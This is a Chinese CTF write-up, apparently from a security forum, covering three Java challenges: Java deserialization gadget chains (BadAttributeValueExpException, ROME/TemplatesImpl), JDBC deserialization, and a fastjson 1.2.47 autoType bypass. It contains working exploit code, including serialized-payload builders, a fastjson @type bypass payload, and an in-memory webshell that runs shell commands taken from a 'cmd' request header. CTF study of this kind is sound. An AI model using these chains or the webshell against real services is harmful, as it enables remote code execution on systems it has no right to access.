ctf中的java题目学习2

upl0ad 2021-12-02 10:09:00

0x01东华杯

ezgadget

知识点:反序列化

image-20211123090450700.png
有个反序列化入口!但是限制了name.equals("gadgets") && year == 2021

image-20211123092315751.png

ToStringBean中的toString方法可以加载恶意类!

现在的思路就是找一个原生的类有重写了readObject方法! 而且调用了任意类的toString方法!

找到个BadAttributeValueExpException

https://xz.aliyun.com/t/3847

那么链就是:readObject --》 toString --》RCE

image-20211123114944209.pngimage-20211123115000690.pngimage-20211123115010707.png

poc

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import javax.management.BadAttributeValueExpException;

public class exp {
    private static Field val;

    public exp() {
    }

    public static void main(String[] args) throws Exception {
        System.out.println((new File("/test.class")).toPath());
        byte[] b = Files.readAllBytes((new File("/test.class")).toPath());
        System.out.println(Tools.base64Encode(b));
        System.out.println(b);
        String bs64 = Tools.base64Encode(b);
        b = Tools.base64Decode(bs64);
        ToStringBean tos = new ToStringBean();
        Field ClassByte = tos.getClass().getDeclaredField("ClassByte");
        ClassByte.setAccessible(true);
        ClassByte.set(tos, b);
        BadAttributeValueExpException bad = new BadAttributeValueExpException("");
        val = bad.getClass().getDeclaredField("val");
        val.setAccessible(true);
        val.set(bad, tos);
        System.out.println(Tools.base64Encode(Tools.serialize(bad)));
        ByteArrayOutputStream btout = new ByteArrayOutputStream();
        ObjectOutputStream objOut = new ObjectOutputStream(btout);
        objOut.writeUTF("gadgets");
        objOut.writeInt(2021);
        objOut.writeObject(bad);
        objOut.flush();
        byte[] bytes = btout.toByteArray();
        btout.close();
        System.out.println(Tools.base64Encode(bytes));
        b = Tools.base64Decode(Tools.base64Encode(bytes));
        InputStream inputStream = new ByteArrayInputStream(b);
        ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
        String name = objectInputStream.readUTF();
        int year = objectInputStream.readInt();
        if (name.equals("gadgets") && year == 2021) {
            objectInputStream.readObject();
            System.out.println("1111");
        }

    }

}

题目

题目地址

easyja

知识点:JDBC反序列化

image-20211123115150112.png

一个注册
image-20211123163151805.png

一个登录
image-20211123163158370.png

还有一个JDBC连接!
image-20211123163218007.png

通过JDBC反序列化RCE!

但是我复现的时候有的问题!RCE不了!

image-20211123163918637.png

可以读取文件!
image-20211123164018174.png

参考工具

https://github.com/fnmsd/MySQL_Fake_Server

https://github.com/rmb122/rogue_mysql_server#rogue-mysql-server

题目

题目地址

0x02 陇原战"疫"

ezjaba

知识点:ROME反序列化

image-20211126091912764.png

有反序列化的点!但是有waf!

过滤了HashMap和BadAttributeValueExpException

但是toString方法可控!

image-20211127093148651.png
我们看原来的ROME链

 * TemplatesImpl.getOutputProperties()
 * NativeMethodAccessorImpl.invoke0(Method, Object, Object[])
 * NativeMethodAccessorImpl.invoke(Object, Object[])
 * DelegatingMethodAccessorImpl.invoke(Object, Object[])
 * Method.invoke(Object, Object...)
 * ToStringBean.toString(String)
 * ToStringBean.toString()
 * ObjectBean.toString()
 * EqualsBean.beanHashCode()
 * ObjectBean.hashCode()
 * HashMap<K,V>.hash(Object)
 * HashMap<K,V>.readObject(ObjectInputStream)

在此基础上进行修改

 * TemplatesImpl.getOutputProperties()
 * NativeMethodAccessorImpl.invoke0(Method, Object, Object[])
 * NativeMethodAccessorImpl.invoke(Object, Object[])
 * DelegatingMethodAccessorImpl.invoke(Object, Object[])
 * Method.invoke(Object, Object...)
 * ToStringBean.toString(String)
 * ToStringBean.toString()
 * ObjectBean.toString()

调试:

ObjectBean.toString()
image-20211128170305415.png

ToStringBean.toString()

image-20211128170328210.png
到:ToStringBean.toString(String)

调用 TemplatesImpl.getTransletInstance方法

image-20211128170359849.png

image-20211128170359849.png

到newTransformer方法

image-20211128170636152.png

到getTransletInstance方法

image-20211128170719474.png
再初始化恶意对象:即可RCE

image-20211128170752546.png

POC

package com.upload.test;

/**
 * Created by upload on 2021/11/26.
 */
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;

import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;

import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javassist.ClassPool;
import javassist.CtClass;
import java.util.Properties;

public class Poc {
    public static class Evil extends com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet{
        static {
            //shell code here
            try {
                Runtime.getRuntime().exec("calc");
            } catch (IOException e) {
                e.printStackTrace();
            }
            System.out.println("Hello Java");
        }
        @Override
        public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

        }

        @Override
        public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

        }
    }
    public static void main(String[] args) throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(Evil.class.getName());
        byte[][] bytecodes = new byte[][]{clazz.toBytecode()};


        Class templatesimpl = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        Class[] types = {byte[][].class, String.class, Properties.class, int.class, TransformerFactoryImpl.class};
        Constructor constructor = templatesimpl.getDeclaredConstructor(types);
        constructor.setAccessible(true);
        TransformerFactoryImpl tf = new TransformerFactoryImpl();
        Properties p = new Properties();
        Object[] params = {bytecodes,"whatever",p,1,tf};

        Object object = constructor.newInstance(params);
        Method method = templatesimpl.getMethod("getOutputProperties");
        method.invoke(object,null);
    }
}

EXP

package com.upload.test;

/**
 * Created by upload on 2021/11/28.
 */
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.util.Base64;

public class pooc {
    public static void main(String[] args) throws IOException,ClassNotFoundException {
        String base64_exp = "";
        byte[] exp =  Base64.getDecoder().decode(base64_exp);
        ByteArrayInputStream bytes = new ByteArrayInputStream(exp);
        ObjectInputStream objectInputStream = new ObjectInputStream(bytes);
        Object eee = objectInputStream.readObject();
        eee.toString();
    }
}

测试题目

image-20211128172456387.png

内存马:(不出网)

https://github.com/SummerSec/JavaLearnVulnerability/blob/master/Rce_Echo/TomcatEcho/src/main/java/summersec/echo/Controller/SpringEcho.java

image-20211128174210939.png

文章:

https://c014.cn/blog/java/ROME/ROME%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90.html

https://blog.csdn.net/rfrder/article/details/121203831

题目

题目地址

0x03安洵

fastjson

知识点:不出网 fastjson反序列化

题目是不出网的

image-20211129154116355.png

fastjson 1.2.47 是存在反序列化漏洞的! 但是题目不出网 写内存马了

fastjson 1.2.47

fastjson自从1.2.25版本开始,进一步添加了配置项setAutoTypeSupport以及白名单,进一步限制@type的使用,默认该配置项关闭。配置项关闭时,只允许白名单内的类通过@type指定。

可以绕过

{
   "a": {
                 "@type": "java.lang.Class",
                 "val": "App.Exec"
   },
   "b": {
             "@type": "App.Exec",
             "ClassByte": "恶意代码"
         }
}

image-20211129163839136.png

poc

    public Evil() throws Exception{
        Class c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");
        Method m = c.getMethod("getRequestAttributes");
        Object o = m.invoke(null);
        c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes");
        m = c.getMethod("getResponse");
        Method m1 = c.getMethod("getRequest");
        Object resp = m.invoke(o);
        Object req = m1.invoke(o); // HttpServletRequest
        Method getWriter = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter");
        Method getHeader = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader",String.class);
        getHeader.setAccessible(true);
        getWriter.setAccessible(true);
        Object writer = getWriter.invoke(resp);
        String cmd = (String)getHeader.invoke(req, "cmd");
        String[] commands = new String[3];
        String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK":"UTF-8";
        if (System.getProperty("os.name").toUpperCase().contains("WIN")) {
            commands[0] = "cmd";
            commands[1] = "/c";
        } else {
            commands[0] = "/bin/sh";
            commands[1] = "-c";
        }
        commands[2] = cmd;
        writer.getClass().getDeclaredMethod("println", String.class).invoke(writer, new Scanner(Runtime.getRuntime().exec(commands).getInputStream(),charsetName).useDelimiter("\\A").next());
        writer.getClass().getDeclaredMethod("flush").invoke(writer);
        writer.getClass().getDeclaredMethod("close").invoke(writer);
    }

题目

题目地址

总结 :

跟着MOONBACK学长学的! 感谢师傅们的文章和学长的帮助!

评论

Firebasky 2022-01-09 11:40:38

其中的3个java题参与出题(tcl

upl0ad

冲冲冲冲冲冲冲冲冲冲冲冲

随机分类

CTF 文章:62 篇
事件分析 文章:223 篇
Java安全 文章:34 篇
数据安全 文章:29 篇
密码学 文章:13 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

Yukong

🐮皮

H

HHHeey

好的,谢谢师傅的解答

Article_kelp

a类中的变量secret_class_var = "secret"是在merge

H

HHHeey

secret_var = 1 def test(): pass

H

hgsmonkey

tql!!!

目录